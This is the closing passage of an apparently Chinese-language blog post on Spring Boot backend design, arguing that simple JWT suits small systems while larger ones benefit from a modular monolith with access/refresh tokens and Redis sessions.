- 在 RuoYi 思路基础上进一步模块化
- 可以作为 Spring Boot 后台项目 Maven 模块设计的重要工程参考
写在最后
这篇文章并不是想说明:
text
Access Token + Refresh Token + Redis
是所有系统唯一正确的答案。
如果你的系统只有几个接口、用户数量很少,也没有在线设备管理、强制退出、统一认证等需求:
text
简单 JWT
完全够用。
架构设计最大的忌讳之一,就是:
text
为了架构而架构。
但反过来,当项目已经开始出现:
text
多个业务模块
多个客户端
多租户
统一认证
设备管理
权限控制
登录续期
强制退出
微服务演进
这些需求时,再继续依赖:
text
一个有效期七天的 JWT
迟早会遇到问题。
所以我现在更愿意采用:
text
模块化单体
+
framework / module / server
+
Access Token / Refresh Token
+
Redis Session
这样的设计。
不是因为它看起来复杂。
恰恰相反:
复杂系统真正需要做的,是把复杂度拆开,让每一部分重新变得简单。